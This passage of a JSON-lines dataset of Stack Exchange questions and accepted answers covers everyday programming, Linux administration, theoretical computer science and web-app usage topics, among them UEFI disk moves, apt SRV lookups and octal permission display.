ByVal caseSensitive As Boolean, ParamArray needles()) As Boolean    Dim i As Integer    For i = LBound(needles) To UBound(needles)        If StringContains(CStr(haystack), CStr(needles(i)), caseSensitive) Then          StringContainsAny = True          Exit Function        End If    Next    StringContainsAny = False 'Not really necessary, default is False..End FunctionFor the last one I wanted to you consider passing values that you will convert as ByVal, since you are going to make a copy anyway of that variable.Public Function StringMatchesAny(ByVal string_source, ParamArray potential_matches()) As Boolean  string_source = CStr(string_source)  ... 'That code taught me a new trick ;)End Function"  } 
{  "id": "_webapps.60650"  , "question": "Someone hacked my friend's Facebook account and sent me messages which were indecent from his account. He also commented stuff which were highly indecent on my pictures. How do I find out who hacked his account? I asked my friend if it was him, but he said that his account had been hacked and thus couldn't do anything. I need to find the hacker of my friend's Facebook account and how do I do it? "  , "title": "How do I find the hacker of my friend's account?"  , "tags": "facebook"  } 
{  "id": "_codereview.33046"  , "question": "so, I am pretty new to this game, and am trying to understand javaScript way better than I currently do. I have this block of code, if it is too long to read, then just skip to my question at the bottom...    function createCSSRule(selectorName, necessaryProperties){    //add class to control all divs    var propertyNameBases, propertyPrefixes, propertyValues, propertySuffixes;    var cssString = selectorName + {\\n;    for (var i9 = 0; i9 < necessaryProperties.length; ++i9){        switch (selectorName){            case .+options.allPictures:                switch(necessaryProperties[i9]){                    case position:                        propertyNameBases = [position];                        propertyPrefixes    = [],                        propertyValues      = [absolute],                        propertySuffixes    = [];                        break;                    case height:                        propertyNameBases = [height];                        propertyPrefixes    = [],                        propertyValues      = [100%],                        propertySuffixes    = [];                        break;                    case width:                        propertyNameBases = [width];                        propertyPrefixes    = [],                        propertyValues      = [100%],                        propertySuffixes    = [];                        break;                    case background:                        propertyNameBases = [background];                        propertyPrefixes    = [],                        propertyValues      = [scroll,#fff,50% 50%,no-repeat,cover],                        propertySuffixes    = [-attachment,-color,-position,-repeat,-size];                        break;                    case transform:                        propertyNameBases   = [transform],                        propertyPrefixes    = [, -moz-, -webkit-],                        propertyValues      = [options.threeDOrigin,options.threeDStyle,translate3d(+options.translate3dpx+)],                        propertySuffixes    = [-origin,-style,];                        break;                    case transition:                        propertyNameBases = [transition],                        propertyPrefixes    = [, -webkit-],                        propertyValues      = [options.transitionLength + ms, options.transitionPath, all],                        propertySuffixes    = [-duration,-timing-function,-property]; //-delay];                                         break;                    default:                        console.log(missing);                        propertyNameBases   = null;                        propertyPrefixes    = null;                        propertyValues      = null;                        propertySuffixes    = null;                        break;                }                break;        case .+options.currentPic:            switch(necessaryProperties[i9]){                    case transform:                        propertyNameBases   = [transform],                        propertyPrefixes    = [, -moz-, -webkit-],                        propertyValues      = [options.threeDOrigin,translate3d(0px, 0px, 0px)],                        propertySuffixes    = [-origin,];                        break;                    default:                        console.log(missing);                        propertyNameBases   = null;                        propertyPrefixes    = null;                        propertyValues      = null;                        propertySuffixes    = null;                        break;                }                break;        case .+options.currentPic+.+options.picAfterCurrent:            switch(necessaryProperties[i9]){                    case transform:                        propertyNameBases   = [transform],                        propertyPrefixes    = [, -moz-, -webkit-],                        propertyValues      = [options.threeDOrigin,translate3d(+options.negativeTranslate3dpx+)],                        propertySuffixes    = [-origin,];                        break;                    default:                        console.log(missing);                        propertyNameBases   = null;                        propertyPrefixes    = null;                        propertyValues      = null;                        propertySuffixes    = null;                        break;                }                break;            default:                console.log(wait a second);                break;        }        //name the selector        //iterate through properties        for (i10 = 0; i10 < propertyNameBases.length; i10++){            //iterate through suffixes and value pairs            for (var i11 = 0; i11 < propertyValues.length; i11++){                //iterate through prefixes                if(propertyValues !== false){                    for (var i12 = 0; i12 < propertyPrefixes.length; i12++){                        cssString = cssString+ +propertyPrefixes[i12]+propertyNameBases[i10]+propertySuffixes[i11]+: +propertyValues[i11]+;\\n                    }                }            }        }    }var forAllPictures = [position,height,width,background,transition,transform];   var forCurrentPic = [transform];var forpicAfterCurrent = [transform];createCSSRule(.+options.allPictures, forAllPictures);createCSSRule(.+options.currentPic, forCurrentPic);createCSSRule(.+options.currentPic+.+options.picAfterCurrent, forpicAfterCurrent);basically, what is going to happen is I am going to pass a string (which is in a combination of variables) to the first parameter, and an array to the second. The first parameter acts as my class name, and the second parameter acts as my array of necessary css properties. I have included the output below so you can get a simple understanding of what I am going for. Each array inside of the if statements is used by the i 's in each for loop to output a string.Each switch statement sets a specific variable and then 3 for-loops take over concatenating a very long string, which happens to be the css below.slideShowPics{    position: absolute;    height: 100%;    width: 100%;    background-attachment: scroll;    background-color: #fff;    background-position: 50% 50%;    background-repeat: no-repeat;    background-size: cover;    transition-duration: 5000ms;    -webkit-transition-duration: 5000ms;    transition-timing-function: ease-in;    -webkit-transition-timing-function: ease-in;    transition-property: all;    -webkit-transition-property: all;    transform-origin: 0% 0%;    -moz-transform-origin: 0% 0%;    -webkit-transform-origin: 0% 0%;    transform-style: flat;    -moz-transform-style: flat;    -webkit-transform-style: flat;    transform: translate3d(-640px, 0px, 0px);    -moz-transform: translate3d(-640px, 0px, 0px);    -webkit-transform: translate3d(-640px, 0px, 0px);}.currentSlideShowPic{    transform-origin: 0% 0%;    -moz-transform-origin: 0% 0%;    -webkit-transform-origin: 0% 0%;    transform: translate3d(0px, 0px, 0px);    -moz-transform: translate3d(0px, 0px, 0px);    -webkit-transform: translate3d(0px, 0px, 0px);}.currentSlideShowPic.movingOut{    transform-origin: 0% 0%;    -moz-transform-origin: 0% 0%;    -webkit-transform-origin: 0% 0%;    transform: translate3d(640px, 0px, 0px);    -moz-transform: translate3d(640px, 0px, 0px);    -webkit-transform: translate3d(640px, 0px, 0px);}I would love for someone to suggest an easier way to do this. I do not feel like I am using this language correctly. If there is anyone out there who has a better idea than what I am currently using, I would love to hear it. Like I said, I am still learning. I feel like I should be able to do this with an object, I just have no idea what I am doing when it comes to objects. If anyone has any articles that are written in clean everyday vernacular, or at least some really good examples, I would appreciate that, otherwise your own examples/explainations would be most appreciated. If, of course, I am able to do this with an object..."  , "title": "create a really long string with javaScript more efficiently than this"  , "tags": "javascript;jquery;css"  } 
{  "id": "_unix.16240"  , "question": "I come from Windows, and I've been getting into Linux a little bit lately.  Trying to make that my default OS for now.  I've wanted to try out a couple different flavors of Linux.  I spent probably a week getting Ubuntu to fully work correctly with drivers and all that and that is what I'm running right now.  What I want to do is wipe out my Ubuntu installation and try some Fedora 15.  I also come from the Android world where you boot into recovery, do a complete backup of everything, wipe it and flash something else and play around with it, and if you don't like it you restore your backup from before.Is there anything similar?  So just in case I don't stick with Fedora I can reload my Ubuntu and not have to spend another week setting it up. "  , "title": "Completely Backing Up Linux Installation"  , "tags": "backup;restore"  , "accepted_answer": "You colud use Clonezilla. It is Linux LiveCD distribution created to make backup copies of full disks or partitions.Download it, burn on CD and boot computer. After that you need to choose source and destination - when you want to back up whole drive you need another drive to write backup on it. When you choose to back up only one partition your backup can be stored on another partition of the same HDD.If you are not using any weird filesystems (it's probably ext3 or ext4, so it's ok) Clonezilla can back up only these parts of partition that are really used, so image is only that size that your data on your partition.Clonezilla have easy to use console interface and every option is well explained.If you want to restore backup you just boot Clonezilla again, choose option to restore and show where backup is on HDD."  } 
{  "id": "_scicomp.3233"  , "question": "I want to compare two floating point numbers for equality relative to a known absolute tolerance. However, this is inside an algorithm I wrote quite some time ago, and I believe the logic of that algorithm would get corrupted if the equality relation is not transitive.Some false negatives are no problem, i.e. if two equal numbers compare unequal, all that will happen is that the algorithm will use a bit more time and memory. However, I now got input data preprocessed by another algorithm (to smooth out corners), but that algorithm added noise to every single straight line, which leads to memory consumption issues (> 4GB) during my algorithm.I see essentially two options, how I could fix the issue:I could try to remove the noise from the results of the preprocessing algorithm.I could try to find a way to do tolerance based equality comparison in a transitive way.The first approach looks easier to me. I would basically have a fixed set of doubles and would need to pick a set of representatives such that every double in the set is within epsilon of a representative. The only idea I have for the second approach is to snap the values to a grid for the comparison. However, I vaguely remember having implemented such a grid snapping approach before, but it broke down as soon as the (c++) compiler started to inline the corresponding code. I fixed this by moving the snapping code to a different translation unit, but later rewrote the code to make the snapping obsolete.QuestionIs it possible to do tolerance based equality comparisons (in c++) without violating transitivity?What is a good way to implement a noise removal algorithm? My approach would probably be to keep a sorted list of representatives, and look up each new double value by bisection in that list, leading to a $O(n \\log n)$ runtime and $O(n)$ (additional) memory consumption for the noise removal algorithm."  , "title": "transitive floating point comparison with (absolute) tolerance"  , "tags": "c++;floating point"  , "accepted_answer": "If you have all the numbers up front, you can efficiently compute the transitive closure of tolerance-based comparison with a union-find structure.  First loop through all pairs of nearby points (e.g., using a bounding box hierarchy), and for each pair within your tolerance mark them as merged in the union-find.  Later on, compare points for equality by checking if they're in the same union-find component."  } 
{  "id": "_unix.168863"  , "question": "This sentence is from a Linux command's return,I can only thought it as 'statistics' but it is the noun form rather than the verb form.unable to stat ./config-2.6.32-431.el6.i686: No such file or directory  Some files were modified!"  , "title": "What does 'stat' mean in this sentence?"  , "tags": "stat"  , "accepted_answer": "Unix, and by inheritance, Linux and *BSD, get the file status via one of the stat-related systems calls: stat(), fstat() and lstat(). I believe the original was stat(). The status in this case constitutes what we currently call metadata: information about the file, like ownership, permissions, sizes, access, modification and status change times, things like that.Whoever wrote the error message you quote (unable to stat) used the name of the Unix/Linux/*BSD system call as a verb. That would be consistent with a lot of the system calls, which have names like read, write, close, open. In the context of using and thinking about Unix system calls, using stat as a verb comes pretty naturally.So, to stat a file, is to get some or all of the file's metadata."  } 
{  "id": "_cs.1905"  , "question": "How to prove that $\\mathsf{NP}^A \\neq \\mathsf{coNP}^A$ ? I am just looking for a such oracle TM $M$ and a recursive language $L(M) = L$ for which this holds. I know the proof where you show that there is an oracle $A$ such that $\\mathsf{P}^A \\neq \\mathsf{NP}^A$ and an oracle $A$ such that $\\mathsf{P}^A = \\mathsf{NP}^A$. I have a hint that I should find such oracle $A$ by extending the proof of $\\mathsf{P}^A \\neq \\mathsf{NP}^A$ but wherever I search and read, it is obvious or straightforward everywhere but I just do not see how prove it at all."  , "title": "An oracle to separate NP from coNP"  , "tags": "complexity theory;relativization"  , "accepted_answer": "As Max said the modification is not difficult, I suggest that you do not read the rest of this answer and think about the problem a little bit more, there is only one part that needs modification and remembering the definition of when a $\\mathsf{coNP}$ machine accepts will help you fix that part. I will explain the required modification below, but first let's have a brief view at the original proof.In the original proof $A=\\bigcup_n A_n$ is built in steps where at step $i$ with make sure that $i$th machine in $\\mathsf{P}$, $M_i$, doesn't decide the language $\\{x \\mid \\exists y\\in A \\ |x|=|y| \\}$ correctly. Note that the set is in $\\mathsf{NP}^A$. We achieve this by simulating $M_i$ using the part of $A$ we have built on a $0^m$ where $m$ is large enough (the string is longer than strings considered in previous steps). $M_i$ accepts, we don't add anything, if it rejects we add a string of length $m$ that $M_i$ doesn't make a query to the set (Such a string exists since there are exponentially many strings of length $m$ but $M_i$ cannot ask about all of them in polynomial time). We will not modify this part of $A$ in future steps (i.e. strings of length $m$ or less will stay the same). This makes sure that $M_i^A$ will not decide the language correctly and completes the proof. Now, assume that the machines $M_i$ were in $\\mathsf{coNP}$ in place of $\\mathsf{P}$. We need to modify the proof to make sure that $M_i^A$ will not recognize $L$. If it is accepting we keep $A$ as before and everything works fine as in the original proof. If it rejects, we need to add a string to the set to make sure it doesn't answer correctly. We still can simulate $M_i$ with the part of $A$ we have, the problem is that $M_i$ might query all strings of length $n$. Here the way a $\\mathsf{coNP}$ machine works becomes important. It accepts if and only if all computation paths accept. Since it is rejecting in this case, there is a computation path that is rejecting. As long as we keep this path intact everything will work, so we only need to keep the answers to the queries in that path the same. The number of queries in this path is polynomial (since the machine runs in polynomial time), so there are strings of length $m$ that the path doesn't query about, just add one of them to $A$ and the rest of the proof works as before.The steps are algorithmic, so the set $A$ is recursive (the essential part of the construction is being able to simulate machines which can be done in say $\\mathsf{DSpace}(n^{\\omega(1)})$)."  } 
{  "id": "_unix.110397"  , "question": "I'm using:# uname -roFreeBSD 9.0-RELEASE-p3And the latest ssldump:# pkg_info | grep ssldumpssldump-0.9b3_4     SSLv3/TLS network protocol analyzerWhen I try starting it with decryption - I got the following error:# ssldump -Xnd -i em0 port 8443 -k name.pem -p passwordPCAP: syntax errorI've installed libpcap:# pkg_info | grep libpcapdnstop-20121017     Captures and analyzes DNS traffic (or analyzes libpcap dumplibpcap-1.4.0       Ubiquitous network traffic capture libraryFound one reference about possible problems with some network interfaces:Support  is  provided  for  only  for  Ethernet and loopback interfacesSo I tried to eun ssldump with lo0:# ssldump -Xnd -i lo0 port 8443 -k name.pem -p passwordPCAP: syntax errorSo - how I can runssldump with packets decryption? Where is my mistake?"  , "title": "ssldump: PCAP: syntax error"  , "tags": "networking;freebsd;ssl"  } 
{  "id": "_unix.383696"  , "question": "I am trying to use apt on a network that is only intermittently connected to the Internet. The network has a local apt mirror and I have put the ip address of that mirror in all the entries in sources.list.Unfortunately when disconnected from the Internet there is an annoying delay in running apt commands. Investigating with tcpdump shows.14:44:52.271437 IP 172.19.0.2.42208 > 8.8.8.8.domain: 180+ SRV? _http._tcp.172.19.0.1. (39)14:44:57.277063 IP 172.19.0.2.42208 > 8.8.8.8.domain: 180+ SRV? _http._tcp.172.19.0.1. (39)14:44:57.277160 IP 172.19.0.1 > 172.19.0.2: ICMP net 8.8.8.8 unreachable, length 7514:45:02.286414 IP 172.19.0.2.42208 > 8.8.8.8.domain: 180+ SRV? _http._tcp.172.19.0.1. (39)14:45:02.286504 IP 172.19.0.1 > 172.19.0.2: ICMP net 8.8.8.8 unreachable, length 75Is there any way to stop apt doing this and just make it connect immediately to the local mirror?"  , "title": "stop apt looking for srv records"  , "tags": "debian;apt"  , "accepted_answer": "Ok I found the answer by reading the sourcecodeAdd the following to /etc/apt/apt.conf (create it if it doesn't exist)Acquire::EnableSrvRecords false;"  } 
{  "id": "_unix.130627"  , "question": "I have a certain shell (zsh) script which reads one character at a time and performs an action afterwards. In the shell, this is realized by read -k in a loop. I want to execute the script as a keyboard shortcut, without opening a shell.What is the easiest way to grab keyboard input for this? I could use dmenu if I wanted to read an entire string, but the script needs to be able to parse the characters one at a time.Thanks."  , "title": "Grabbing keyboard control in shell script"  , "tags": "shell script;x11;keyboard;input"  } 
{  "id": "_cs.51144"  , "question": "I'm interested in how fast SVMs can classify new data with $c \\in \\mathbb{N}_{\\geq 2}$ classes and $n \\in \\mathbb{N}_{\\geq 1}$ features.Example for Neural NetworksFor neural networks, this depends very much on the architecture. For supposing you only have one hidden layer with $3n$ neurons, you would have a $n:3n:c$ topology and henceone multiplication of a $n$-dimensional vector with a matrix in $\\mathbb{R}^{n \\times 3n}$,then a multiplication of a vector in $\\mathbb{R}^{3n}$ with a matrix in $\\mathbb{R}^{3n \\times c}$and of course $3n+c$ applications of the activation functions.Adding the biases is dominated by the matrix multiplications.This results in an overall complexity of $\\mathcal{O}(n^2 \\cdot c)$.QuestionI would be interested in a similar analysis of the classification complexity (NOT the training!) of SVMs, preferably with a reference to literature."  , "title": "What is the complexity of classification with SVMs?"  , "tags": "complexity theory;machine learning;svm"  } 
{  "id": "_cs.70076"  , "question": "Consider strings $s \\in \\{0,1\\}^*$. Define $c_1(s)$ to be the ones' complement of $s$; i.e., the string obtained from $s$ by inverting all of its bits. So, for example, $c_1(000111) = 111000$. Call a language $L \\subset \\{0,1\\}^*$ ones' complement closed, or OCC, if $s' \\in L$ $\\iff$ $c_1(s') \\in L$, provided $s'$ is not the empty string. Given these assumptions, I have a few questions.Does there exist an OCC language that is both Turing-recognizable and not decidable?Does there exist an OCC language $L$ with the property that both $L$ is not decidable and $\\overline{L}$ is Turing-recognizable?Does there exist an OCC language $L$ that is such that neither it nor $\\overline{L}$ is Turing-recognizable?I am having some trouble answering these questions because of how limited the alphabet $\\{0,1\\}$ is. I was thinking that perhaps this alphabet alone could be used to encode Turing machines, and from there we could talk about the well-known decidable/undecidable and recognizable/not-recognizable languages involving Turing machine encodings, but I'm not sure this is possible."  , "title": "Decidability of languages containing bitstrings and their corresponding ones' complements"  , "tags": "formal languages;turing machines;undecidability"  , "accepted_answer": "Given a language $L$, you can create a language $L'$ which is equivalent in power and OCC:$$L' = \\{ 0 x : x \\in L \\} \\cup \\{ 1 c_1(x) : x \\in L \\}.$$The two languages are recursively equivalent. This means that there is a computable reduction from $L$ to $L'$ and another one from $L'$ to $L$.Using this construction, you can now answer your own question."  } 
{  "id": "_unix.282134"  , "question": "ScenarioI have two identical Lenovo (previously IBM) servers [xSeries 3250 M5 - model 5458EHM]. I've built Linux on server 1 and I want to be able to cold swap that hard drive to server 2. (This is so that I can build a specific Linux configuration and send it to a client for them to cold swap on the same hardware).Further informationIt is a clean Linux install (Debian) on a fresh drive.Linux was installed from CD in UEFI mode.Once the install boots, here is the output I think is relevant:# efibootmgr -vBootCurrent: 0004Timeout: 10 secondsBootOrder: 0004,0000,0001,0002,0003Boot0000* CD/DVD Rom   ACPI(a0341d0,0) PCI(1d,0) USB(0,0) USB(1,0)Boot0001* Hard Disk 0  ACPI(a0341d0,0) PCI(1f,2) SATA(0,0,0) HD(1,800,100000,ab3dde4a-f8dd-420c-a103-53bbe95bc74f)Boot0002* PXE Network  ACPI(a0341d0,0) PCI(1c,0) PCI(0,0) MAC(MAC(6cae8b5b6ae0,0)Boot0003* Hard Disk 1  Vendor(0c588db8-6af4-11dd-a992-00197d890238,09)Boot0004* debian       HD(1,800,100000,ab3dde4a-f8dd-420c-a103-53bbe95bc74f) File(\\EFI\\debian\\grubx64.efi)You can see that the Boot0004 debian installation is installed in UEFI mode.Output from cat /etc/fstab# <file system>                           <mount point>   <type>  <options>       <dump>  <pass># / was on /dev/sda2 during installationUUID=8ac79015-aa86-4105-85dd-43e3e8761ed4 /               ext4    errors=remount-ro 0       1# /boot/efi was on /dev/sda1 during installationUUID=4539-CB77                            /boot/efi       vfat    umask=0077        0       1# swap was on /dev/sda3 during installationUUID=ddcc51da-f15a-4d36-b799-2fb00789e676 none            swap    sw                0       0Edit: I've tried removing the UUID lines so instead it points to the /dev/sda partitions, same problem.I have reloaded the default Boot firmware settings and UEFI doesn't try to load BIOS legacy boot by default. Output from # parted /dev/sdaGNU Parted 3.2Using /dev/sda    Welcome to GNU Parted! Type 'help' to view a list of commands.    (parted) p    Model: ATA ST2000NM0033 (scsi)    Disk /dev/sda: 2000GB    Sector size (logical/physical): 512B/512B    Partition Table: gpt    Disk Flags:    Number  Start   End     Size    File system     Name  Flags     1      1049kB  538MB   537MB   fat32                 boot, esp     2      538MB   1992GB  1991GB  ext4     3      1992GB  2000GB  8418MB  linux-swap(v1)`ProblemI can't boot the HDD on server 2. On load the UEFI messages state that it can't boot the 'debian' image. What I have triedI have tried doing the reverse, installing Linux on server 2 and cold swapping the disk to server 1 and have the same problem. I have moved the HDD to a third machine (desktop grade PC) and it won't boot either.What am I missing?"  , "title": "Can't boot when moving Linux installation from one server to another - UEFI"  , "tags": "boot"  } 
{  "id": "_unix.137164"  , "question": "It appears that new permissions on /etc/issue and /etc/motd are reverting back to the original even if we change them. This is on systems running RHEL 5 and RHEL 6.  Is there any rc script which controls the permissions on /etc files?"  , "title": "Permissions changing on few files under /etc/"  , "tags": "permissions;rhel;etc"  } 
{  "id": "_unix.167008"  , "question": "A weird issue after we migrated some of our servers to a new DC. We assigned new IPs to all the machines and all the servers are working fine except one. It is not picking up the new IP address and its failing with the following message when I try to restart network with the new IP, new GW and the new netmask in the ifcfg-eth0 file.Bringing up loopback interface:                                      [OK]Bringing up interface eth0: Determining if ip address 10.80.3.2 is already in use for device eth0Error, some other host already uses address 10.80.3.2                                                                      [FAILED]After I added ARPCHECK=no in /etc/sysconfig/network-scripts/ifcfg-eth0 the eth0 comes up fine with the new IP address, but then we will have no network access. The machine will behave as if the network is dead. We are 100% sure that the IP address 10.80.3.2 is not active on any other machines. I am not very good with networking. Can anyone throw some light to where I can fix this?P.S:- It is a VMware VM."  , "title": "Unable to start network,  is already in use for device eth0, but its not"  , "tags": "networking;rhel;arp"  } 
{  "id": "_webmaster.79655"  , "question": "A couple of months ago I had published on my blog an article with a title in the form: what is a table (table is not really the word I used-I write the word here as an example).I had seen through Google Keyword Planner that this search term has very low competition and a decent volume.However, when I search in Google for this term I cannot find my post even in the last page after 450 results. Apart the first couple of Google pages with relevant results, all other pages which outrank my post do not answer the particular question (what is a table) but they have a great density of the word table in their content just because they happen to make or sell tables.On the other hand, when I put the search term in quotes (what is a table) I find my post in the 7th position of the first page!My post's url is in the form www.example.com/eating/what-is-a-table/ and the post is optimized with Yoast SEO plugin (wordpress). The plugin returns that my keyword contains a stop-word which is the word a, however I have to include a as it is a part of the search term which I'm targeting.My site is 15 months old but I rank decently in other search terms. For example in the term [table definition], my relevant post ranks on the 4th page. The posts [what is a table] and [table definition] were published on the same date.In light of the above explanations and in a few words the question is:why search results differ so much when this search term what is a ...  is asked within quotes or not."  , "title": "why search results differ so much when the search term [what is a ...] is asked within quotes or not"  , "tags": "seo;google search"  } 
{  "id": "_unix.48798"  , "question": "I am a newbie to Linux. I am trying to add a webiste on Ubunutu Linux server and following this tutorial http://www.hostly.com/hosting-info/build-website-using-apache-1658.htmlCreated a webconfiguration file /etc/apache2/sites-available and it looks like this<VirtualHost *:80># Basic setupServerName analys.ideometrics.seDocumentRoot /home/micke/www/analys.ideometrics/# LogfilesErrorLog  /home/micke/wwwlogs/apache2/error.logCustomLog /home/micke/wwwlogs/apache2/access.log combined</VirtualHost>created a index.html in the location /home/micke/www/analys.ideometrics/restarted apache webserverwhen I am trying to access the URL (analys.ideometrics.se), getting internal error. I am not sure, if have to edit host file. Can you please give me a clue. Thanks for your help !!"  , "title": "adding a site to Apache2 Ubuntu Linux"  , "tags": "linux;ubuntu"  } 
{  "id": "_codereview.28165"  , "question": "How would I write a foreach statement that includes both of these statement together//clear textboxesforeach (Control c in panel1.Controls.OfType<TextBox>())        {            if (!string.IsNullOrEmpty(c.Text))            {                c.Text = ;            }        }        //clear price label text        foreach (Control c in panel1.Controls.OfType<Label>())        {            if ((string)c.Tag == Clearable)            {                c.Text = ;            }        }"  , "title": "Foreach statement for two OfType<>"  , "tags": "c#;winforms"  , "accepted_answer": "You could write it in 1 loop but you'll still need separation of logic for each type of Control:foreach(Control c in panel1.Controls){    if(c is TextBox)    {        var tb = c as TextBox;        if(!String.IsNullOrEmpty(tb.Text))            tb.Text = ;    }    if(c is Label)    {        var l = c as Label;        if(l.Tag != null && l.Tag.ToString() == Clearable)            l.Text = ;    }}"  } 
{  "id": "_codereview.110080"  , "question": "I've got an Angular controller where I have two functions that are repeated inside two functions:(function () {    'use strict';    angular        .module( 'app.purchases.products' )        .controller( 'ReadProductController', ReadProductController );    ReadProductController.$inject = [ '$scope', 'ReadProductFactory' ];    function ReadProductController( $scope, ReadProductFactory ) {        /* jshint validthis: true */        var vm = this;        vm.products          = {};        vm.product           = {};        vm.getProductsList   = getProductsList;        vm.getProductDetails = getProductDetails;        function getProductsList( columnOrder, sortOrder ) {            var data = {                columnOrder: columnOrder,                sortOrder: sortOrder            };            ReadProductFactory.listProducts( data, success, fail );            //The following are the callbacks funcs but they repeat             //for the getProductDetails func too, should i set them global?            function success( products ) {                vm.products = products;            }            function fail( error ) {                console.log( error );            }        }        function getProductDetails( id ) {            var data = {                id: id            };            ReadProductFactory.detailProduct( data, success, fail );            function success( product ) {                vm.product = product;            }            function fail( error ) {                console.log( error );            }        }    }})();The above is the controller of a Product Listing view, i've tried to take rest logic to a factory, what i feel is that my code is not completely DRY because of the callback functions, maybe you'll understand better what i've tried to do with the factory code, here it is:(function () {    'use strict';    angular        .module( 'app.purchases.products' )        .factory( 'ReadProductFactory', ReadProductFactory );    ReadProductFactory.$inject = [ 'Restangular' ];    function ReadProductFactory( Restangular ) {        return {            detailProduct: detailProduct,            listProducts: listProducts        };        function detailProduct( data, success, fail ) {            Restangular                .one( '/purchases/products/', data.id )                .all( '/detail' )                .getList()                .then( success, fail );        }        function listProducts( data, success, fail ) {            Restangular                .all( '/purchases/products/list' )                .getList()                .then( success, fail );        }    }})();Somes have told me to use promises instead of callback, how could i do that?Also, is it good practice to declare empty arrays as I've done?"  , "title": "Handling success and failure when retrieving product information"  , "tags": "javascript;error handling;angular.js;controller;callback"  } 
{  "id": "_computergraphics.2237"  , "question": "I did a quick investigation about the topic but there doesn't seem a decent resource to find related problems without digging into latest CG papers (unlike CS problems you can easily find a Wikipedia list)With open problems I mean phenomenas that still do not have a tractable solution/approximation to find its way into CG and better yet real time CG."  , "title": "What are the current open problems in Computer Graphics?"  , "tags": "real time;physically based;render"  } 
{  "id": "_unix.76521"  , "question": "After looking at the man page for ls on my system and searching Google, I see there IS a hack of way to use awk or perl to show octal permissions when using ls, but with bash is there anything more native?Standard output of ls -alh$ lltotal 0drwxr-xr-x   5 user  group   170B May 20 20:03 .drwxr-xr-x  17 user  group   578B May 20 20:03 ..-rw-r--r--   1 user  group     0B May 20 20:03 example-rw-r--r--   1 user  group     0B May 20 20:03 example-1-rw-r--r--   1 user  group     0B May 20 20:03 example-3Desired output including octal representation of permissions$ lltotal 0drwxr-xr-x 1775  5 user  group   170B May 20 20:03 .drwxr-xr-x 1775 17 user  group   578B May 20 20:03 ..-rw-r--r-- 1644  1 user  group     0B May 20 20:03 example-rw-r--r-- 1644  1 user  group     0B May 20 20:03 example-1-rw-r--r-- 1644  1 user  group     0B May 20 20:03 example-3(disclaimer: not sure if those octals are exactly right)ReasoningI am more familiar with the drwxr-xr-x notation for permissions but sometimes when the dashes fall in odd places I might mis-read it at a quick glance. I'd like to see the octal equivalent as well.Conversion Ability (question part 2)I think a long time ago octal permissions might have been limited to 000 - 777 but in recent times there are some things like set-group-ID and sticky that have given us octals with 4 places like 1775. Is it possible to represent every possible permission in octal format? If it is not then I'd better understand why bash's ls command doesn't seem to have this format."  , "title": "How can I display octal notation of permissions with ls - and can octal represent all permissions?"  , "tags": "ls;coreutils"  , "accepted_answer": "I also use stat to get a ls-like output but I use a different approach to format the output: I use TAB as a delimiter (allows for easier parsing afterwards, if needed), format the time via stat and finally filter the output with numfmt (included in GNU coreutils >= 8.21 2013-02-14) to get nice file sizes:stat --printf=%A\\t%a\\t%h\\t%U\\t%G\\t%s\\t%.19y\\t%n\\n * | numfmt --to=iec-i --field=6 --delimiter='     ' --suffix=BNote the delimiter used for numfmt is also a Tab (to input in terminal hit Ctrl+V then Tab).This is what the output looks like:drwxr-xr-x  755 2   don users   4.0KiB  2013-05-17 03:37:02 150905-adwaita-x-dark-light-1.3drwxr-xr-x  755 8   don users   4.0KiB  2011-10-13 07:30:39 Adwaita Slimdrwxr-xr-x  755 3   don users   4.0KiB  2013-05-17 19:26:41 Awaydrwxr-xr-x  755 5   don users   4.0KiB  2013-05-17 03:09:14 elementary-rw-r--r--  644 1   don users   539KiB  2013-05-10 00:32:14 gdm.jpg-rw-r--r--  644 1   don users   1.5MiB  2013-05-19 04:30:16 gnome-shell-3.8.2.tar.xzdrwxrwxr-x  775 4   don users   4.0KiB  2013-05-18 18:34:38 gnome-themes-standard-3.8.1-rw-r--r--  644 1   don users   3.7MiB  2013-05-18 18:30:06 gnome-themes-standard-3.8.1.tar.xzdrwxrwxr-x  775 17  don users   4.0KiB  2013-05-18 18:37:05 gtk+-3.8.2-rw-r--r--  644 1   don users   14MiB   2013-05-18 18:30:56 gtk+-3.8.2.tar.xzdrwxr-xr-x  755 13  don users   4.0KiB  2013-05-18 02:41:51 MediterraneanNight-2.02-rw-r--r--  644 1   don users   603B    2013-05-19 20:07:26 python-pytaglib.tar.gz-rw-r--r--  644 1   don users   442KiB  2013-05-19 00:33:27 Stripes.jpgNote: as per cwd's comment, on OSX, coreutils commands are gstat and gnumfmt."  } 
{  "id": "_unix.263434"  , "question": "As a disclaimer, I have read related question to this topic, but still a bit confused in regards to the situation I am seeing.Understanding system loadand also:Understanding top and load averageI am concerned about the load on one of my servers.When running htop, It displays that I have 40 cores.MY load averages are 9.35, 9.58, 8.55.My initial though was that this was high, but the processors installed in the server are :INTEL XEON E5-2650V3 (2.3GHZ/10-CORE/25MB/105W) FIO PROCESSOR KITINTEL XEON E5-2650V3 (2.3GHZ/10-CORE/25MB/105W) PROCESSOR KITMy confusion is that I am not sure why htop lists 40 cores, but I only have two 10-core processors.2 questions:If I have two 10 core processors (20 cores total), is a load of 10 reasonable?Also, why would htop show 40 cores at the top?"  , "title": "System Load averages"  , "tags": "linux;load;load average"  , "accepted_answer": "A load of 10 is reasonable in this case. The rule of thumb is that you want your load average to be less than your total number of cores. The reason that you appear to have double the amount of cores is because of hyper-threading. Here is an excerpt from the linked wikipedia article:For each processor core that is physically present, the operating  system addresses two virtual or logical cores, and shares the workload  between them when possible. The main function of hyper-threading is to  increase the number of independent instructions in the pipeline; it  takes advantage of superscalar architecture, in which multiple  instructions operate on separate data in parallel. With HTT, one  physical core appears as two processors to the operating system, which  can use each core to schedule two processes at once. In addition, two  or more processes can use the same resources: if resources for one  process are not available, then another process can continue if its  resources are available."  } 
{  "id": "_webapps.35203"  , "question": "I have an old YouTube account which I can't log into. But one user PMs me frequently and I want to block him just him.How can I do that?  "  , "title": "How do I block a user on an old YouTube account?"  , "tags": "youtube"  } 
